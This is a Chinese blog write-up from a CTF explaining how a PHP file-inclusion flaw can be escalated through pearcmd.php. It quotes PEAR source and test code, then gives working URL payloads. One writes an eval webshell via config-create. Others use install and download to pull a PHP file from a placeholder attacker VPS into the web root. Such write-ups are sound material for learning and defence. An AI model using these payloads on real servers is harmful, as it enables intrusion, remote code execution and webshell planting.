pearcmd文件包含

前言:在newstar ctf2023中遇到了pearcmd文件包含的题,特此记录

利用条件

安装了pear扩展

php开启了register_argc_argv选项(可以通过包含phpinfo.php文件进行查看)

原理

php的pear扩展是一个命令行扩展管理工具,默认的安装路径在/usr/local/lib/php/pearcmd.php,在命令行下可以用pearphp /usr/local/lib/php/pearcmd.php运行(相当于文件包含后利用),虽然不是在web的目录下,但是如果存在文件包含漏洞,我们就可以运行这个命令行工具

我们再来看register_argc_argv选项,在这个选项字段如果选了ON的话,URL中?后面的内容会全部传入至$_SERVER['argv']这个变量内,无论后面的内容是否有等号。

pear会在pearcmd.php获取命令行参数

1
2
3
4
5
6
7
8
9
PEAR_Command::setFrontendType('CLI');
$all_commands = PEAR_Command::getCommands();

$argv = Console_Getopt::readPHPArgv();
// fix CGI sapi oddity - the -- in pear.bat/pear is not removed
if (php_sapi_name() != 'cli' && isset($argv[1]) && $argv[1] == '--') {
unset($argv[1]);
$argv = array_values($argv);
}

而pear获取命令行参数的函数Consoles/Getopt.php->readPHPArgv()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}

会先尝试$argv变量(这个变量储存在命令行模式下运行php脚本时传入的参数),然后再尝试$_SERVER['argv']变量,$_SERVER['argv']为我们可控的变量,这样,在文件包含的场景下,我们就可以运行pear命令行工具并用GET请求参数控制pear的命令行参数了。

利用

接下来就是寻找可以利用的命令了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
Commands:
build Build an Extension From C Source
bundle Unpacks a Pecl Package
channel-add Add a Channel
channel-alias Specify an alias to a channel name
channel-delete Remove a Channel From the List
channel-discover Initialize a Channel from its server
channel-info Retrieve Information on a Channel
channel-login Connects and authenticates to remote channel server
channel-logout Logs out from the remote channel server
channel-update Update an Existing Channel
clear-cache Clear Web Services Cache
config-create Create a Default configuration file//用得最多
config-get Show One Setting
config-help Show Information About Setting
config-set Change Setting
config-show Show All Settings
convert Convert a package.xml 1.0 to package.xml 2.0 format
cvsdiff Run a "cvs diff" for all files in a package
cvstag Set CVS Release Tag
download Download Package
download-all Downloads each available package from the default channel
info Display information about a package
install Install Package
list List Installed Packages In The Default Channel
list-all List All Packages
list-channels List Available Channels
list-files List Files In Installed Package
list-upgrades List Available Upgrades
login Connects and authenticates to remote server [Deprecated in favor of channel-login]
logout Logs out from the remote server [Deprecated in favor of channel-logout]
makerpm Builds an RPM spec file from a PEAR package
package Build Package
package-dependencies Show package dependencies
package-validate Validate Package Consistency
pickle Build PECL Package
remote-info Information About Remote Packages
remote-list List Remote Packages
run-scripts Run Post-Install Scripts bundled with a package
run-tests Run Regression Tests
search Search remote package database
shell-test Shell Script Test
sign Sign a package distribution file
svntag Set SVN Release Tag
uninstall Un-install Package
update-channels Update the Channel List
upgrade Upgrade Package
upgrade-all Upgrade All Packages [Deprecated in favor of calling upgrade with no parameters]
Usage: pear [options] command [command-options] <parameters>
Type "pear help options" to list all options.
Type "pear help shortcuts" to list all command shortcuts.
Type "pear help version" or "pear version" to list version information.
Type "pear help <command>" to get the help for the specified command.

现在介绍三种利用手法

为了试验这几种方法我用docker在本地搭建了一个文件包含环境,镜像是php:7.4-apache

1
2
3
<?php
include($_GET['file']);
?>

config-create

此方法来自于p神博客

此命令的参数和用法如下

1
config-create: must have 2 parameters, root path and filename to save as

就是要我们输入两个参数,一个是绝对路径,还有保存配置文件的文件名

尝试一下使用以下这个命令看下效果

1
pear config-create /114514whatever /tmp/test.txt

img

可以看见我们已经写入一个配置文件了,检查下内容

img

第一个参数的内容会被写入文件,如果我们将第一个参数换成文件内容的话我们就可以写入可包含的文件了

payload

1
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php

这边要用burp传参,不然的话直接网站传参,像‘<’这种符号会被转化成为url编码,就不能执行一句话木马了

img

包含结果:

img

我们来看下写入的文件

img

可以看见/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>整个被作为参数传入了命令行,但是get参数file被正常解析了,这是因为前面说过的即使URL中存在等号,问号后的内容一样会被传入$_SERVER['argv']

install

此方法来自jrXnm师傅的博客

先来看看install的常规用法:

我在我vps上挂了一个php文件

1
2
3
<?php
phpinfo();
?>

然后通过pear下载

1
pear install http://[vps]:[port]/test1.php

结果:

1
2
3
4
5
6
7
8
pear install http://[vps]:[port]/test1.php
downloading test1.php ...
Starting to download test1.php (20 bytes)
....done: 20 bytes
Could not get contents of package "/tmp/pear/download/test1.php". Invalid tgz file.
Download of "http://[vps]:[port]/test1.php" succeeded, but it is not a valid package archive
Invalid or missing remote package file
install failed

结果在/tmp/pear/download/目录下有一个test1.php

然后install--installroot这个选项可以指定他的安装目录,这里可以构造payload远程下载我们的文件了

1
http://localhost:3354/?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/test1.php

这个要被包含的文件就在web目录的&file=/usr/local/lib/php/pearcmd.php\&/tmp/pear/download/下,我们把路径url编码一下再包含

img

成功了

download

先查看一下download的用法

1
2
pear download [option] [package]
#这里的option只有一个-Z, --nocompress,下载一个未压缩的tar包

尝试一下下恶意的php文件

1
2
3
4
5
6
7
8
pear download http://[vps]:[port]/test1.php
downloading test1.php ...
Starting to download test1.php (20 bytes)
....done: 20 bytes
Could not get contents of package "/var/www/html/test1.php". Invalid tgz file.
Download of "http://[vps]:[port]/test1.php" succeeded, but it is not a valid package archive
Invalid or missing remote package file
download failed

虽然提示下载失败,但是直接当前目录留下了php文件

img

我们可以尝试一下利用这个download

我构造的payload为

1
http://localhost:3354/?+download+http://[vps]:[port]/test1.php&file=/usr/local/lib/php/pearcmd.php

当然我提前在服务器上构造好了目录:test1.php&file=/usr/local/lib/php/,将恶意php命名为pearcmd.php

其实可以去掉前面的test1.php,只要在服务器上创建相应的目录就行

然后直接访问pearcmd.php,成功


pearcmd文件包含
http://www.qetx.top/posts/23522/
作者
Qetx.Jul.27
发布于
2023年10月22日
许可协议